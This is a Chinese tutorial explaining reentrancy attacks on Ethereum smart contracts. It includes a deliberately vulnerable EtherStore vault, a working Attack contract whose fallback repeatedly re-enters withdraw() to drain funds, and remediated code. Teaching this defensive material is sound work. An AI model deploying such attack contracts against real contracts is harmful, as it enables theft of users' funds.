漏洞原理
以太坊智能合约的特点之一是能够调用和使用其他外部合约的代码。这些合约通常会操作以太币,经常将以太发送到各种外部用户地址。这种调用外部合约或向外部地址发送以太币的操作,需要合约提交外部调用。这些外部调用可能被攻击者劫持,比如,通过一个回退函数,强迫合约执行进一步的代码,包括对自身的调用。这样代码可以重复进入合约,这就是“重入” (Re-Entrancy) 的来源。著名的 DAO 黑客攻击事件中就是利用了这种类型的漏洞。
以下 Solidity 知识点能帮助我们更好的理解重入攻击的内在原因。
Fallback函数
合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。
除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable
。 如果不存在这样的函数,则合约不能通过常规交易接收以太币。
一个没有定义 fallback 函数的合约,直接接收以太币(没有函数调用,即使用 send
或 transfer
)会抛出一个异常, 并返还以太币。所以如果你想让你的合约接收以太币,必须实现 fallback 函数。
而且,一个合约不能对这种以太币转移做出反应,因此也不能拒绝它们。这是 EVM 在设计时就决定好的,而且 Solidity 无法绕过这个问题。
Call 函数调用
在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。
其中,call 是最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境即合约的 storage。
通常情况下合约之间通过 call 来相互调用执行,由于 call 在相互调用过程中,被调用方的内置变量 msg 会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。
下面是 call 函数的调用方式:
- 对于一个指定合约地址的 call 调用,可以调用该合约下的任意函数
- 如果 call 调用的合约地址由用户指定,那么可以调用任意合约的任意函数
另外,需要注意的是,目标合约使用 call 函数调用发送以太币时,默认提供所有剩余的 gas。这也给了恶意合约发起重入攻击的条件。
常用转账函数
以太坊 Solidity 的三种转账方式:
-
<address>.transfer()
:
如果异常会转账失败,抛出异常,终止执行。有 gas 限制,最多 2300。 -
<address>.send()
:
如果异常会转账失败,返回 false,不会终止执行。有 gas 限制,最多2300. -
<address>.call.value()
:
如果异常会转账失败,返回 false,不会终止执行。无 gas 限制。
正因为 call 调用无 gas 限制,默认会使用所有剩余的 gas,所以不能有效的防止重入攻击。
实例演示
当合约将以太币发送到一个未知地址时,可能会发生这种攻击。攻击者可以在一个外部地址构造一个合约,该合约在回退函数中包含恶意代码。因此,当一个合约将以太发送到这个地址时,它将调用恶意代码。通常,恶意代码在易受攻击的合约上调用一个函数,执行开发人员不期望的操作。“可重入”这个名称来自于这样一个事实:外部恶意合约回调目标合约上的转账函数,并在目标合约上的任意位置重复执行这个转账函数以达到攻击目的。
让我们来看以下这个简单的合约。这个合约充当以太坊的保险库,允许存款人每周只提取 1 以太币。
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;
contract EtherStore {
uint256 public withdrawLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount);
require(amount <= withdrawLimit);
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(amount)());
balances[msg.sender] -= amount;
lastWithdrawTime[msg.sender] = block.timestamp;
}
}
这个合约有两个公共函数:
-
deposit()
: 存款函数。函数接收发送者的以太币存款,并增加发送者余额。 -
withdraw()
: 提款函数。函数允许发送方指定要提取的以太币数量,只有当请求的提现金额小于 1 个以太币且上周没有发生提现时,它才会成功。
合约的漏洞出现在以下代码段:
require(msg.sender.call.value(amount)());
这行代码可能会导致重入攻击。这段代码通过 call 函数进行转账,如果 msg.sender
是一个合约,那么 call 函数在转账时会调用该函数的 fallback 函数。这时候如果构造一个恶意合约,在合约的 fallback 函数里多次调用目标合约的 withdraw()
函数,就能把目标合约中的以太币全部转走。
下面,让我们来构造一个攻击合约,合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;
import "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
function Attack(address etherStoreAddress) public payable {
etherStore = EtherStore(etherStoreAddress);
}
function deposit() public payable {
//require(msg.value >= 1 ether);
etherStore.deposit.value(1 ether)();
}
function withdraw() public {
etherStore.withdraw(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
function () public payable {
if (etherStore.balance > 1 ether) {
etherStore.withdraw(1 ether);
}
}
}
让我们看看这个恶意合约是如何利用我们的 EtherStore
合约的。攻击者将使用 EtherStore
的合约地址作为构造函数参数来创建。这将初始化公共变量 etherStore
并将其指向我们想要攻击的合约。
首先攻击者会调用 deposit()
函数,在目标合约中存入 1 个以太币。在本例中,我们假设许多其他用户已将以太币存入该合约,因此假设合约的当前余额为 10 个以太币。
然后,攻击者调用 withdraw()
函数从目标合约提款。每次提取 1 个以太币。目标合约的 withdraw()
函数通过调用 call 函数给恶意合约转账,在转账时会调用恶意函数的 fallback 函数。
让我们来看攻击合约的 fallback 函数的代码段:
function () public payable {
if (etherStore.balance > 1 ether) {
etherStore.withdraw(1 ether);
}
}
该代码段判断目标合约的余额,当余额大于 1 个以太币时继续调用目标合约的提款函数给恶意合约转账,直到目标合约的余额不再满足转账条件,这就是重入攻击。攻击者也可以设置重入的次数。感兴趣的读者可以在 Remix 工具中编译部署以上合约来实践。
解决方法
有许多常见的技术可以帮助避免智能合约中的潜在重入攻击。
- 第一种是 (只要可能) 在向外部合约发送 ether 时使用内置的 transfer() 函数。转账功能只与外部调用一起发送2300 个 gas,这不足以让攻击合约再去调用另一个合约(即重新进入发送合约)。
- 第二种方案是建议遵循检查-效果-交互的编程模式。即确保所有改变状态变量的逻辑在 ether 被发送出(或任何外部调用)之前发生。将执行未知地址外部调用的代码作为本地化函数或代码段执行的最后一个操作。
- 第三种技术是引入互斥。也就是说,添加一个状态变量,在代码执行期间锁定合约,防止可重入调用。但需要注意的是,要保证解除该状态变量锁定状态的代码能够被正确执行。
经改造后的合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract EtherStore {
uint256 public withdrawLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount);
require(amount <= withdrawLimit);
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= amount;
lastWithdrawTime[msg.sender] = block.timestamp;
payable(msg.sender).transfer(amount);
}
}